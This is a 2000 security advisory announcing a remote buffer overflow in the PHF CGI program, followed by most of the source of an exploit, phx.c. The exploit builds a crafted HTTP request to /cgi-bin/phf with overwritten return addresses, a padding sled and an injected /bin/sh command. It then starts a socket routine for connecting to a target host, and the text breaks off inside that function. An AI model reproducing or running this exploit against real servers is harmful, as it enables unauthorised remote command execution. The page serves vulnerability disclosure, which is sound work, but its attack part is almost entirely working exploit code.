PHF Buffer overflow exploit code has been released
16 Nov. 2000
Summary
A buffer overflow exists in the HTTP_X (X:) parameter that is parsed by the PHF program. This buffer overflow is remotely exploitable as can be seen below.
Credit:
The information has been provided by proton.
Exploit Code:
---- phx.c ----
/*
| phx.c -- phf buffer overflow exploit for Linux-ix86
| Copyright (c) 2000 by proton. All rights reserved.
|
| This program is free software; you can redistribute it and/or modify
| it under the terms of the GNU General Public License as published by
| the Free Software Foundation; either version 2 of the License, or
| (at your option) any later version.
|
| This program is distributed in the hope that it will be useful,
| but WITHOUT ANY WARRANTY; without even the implied warranty of
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
| GNU General Public License for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
char tmp[8192];
char *host;
char *progname;
unsigned char shellcode[] =
"GET
/cgi-bin/phf?&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"
/*
* 2 pointers, in case of -fomit-frame-pointer
*/
"\x37\xfc\xff\xbf"
"\x37\xfc\xff\xbf"
" HTTP/1.0\n"
/*
* set environment var `HTTP_X'
*/
"X: "
/*
* a bundle of AAA's, they're just as good as NOP's
* but is a tad bit more readable to humans.
* 512 no-op instructions gives us a nice phat
* strike-zone for the above 2 pointers.
*/
"\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41"
/*
* try to make sense to the webserver
*/
"/bin/sh -c echo 'Content-Type: text/plain';echo '';"
/*
* execute something funny!
*/
"echo Hello! I am running as \\\"`whoami`\\\" on a `arch` cpu;"
"echo Local time is `date` and there are `who|wc -l` users
logged in.;"
"echo '';"
/*
* shellcode will terminate command at the `@'
*/
"@\n\n"
;
void netpipe(int *rsock, int *wsock)
{
struct sockaddr_in sai;
struct hostent *he;
int s;
if (!host || !*host)
{
printf("Usage: %s <host>\n",progname);
exit(1);
}
he = gethostbyname(host);
if (!he)
{
printf("%s: Unknown host\n",host);
exit(1);
}
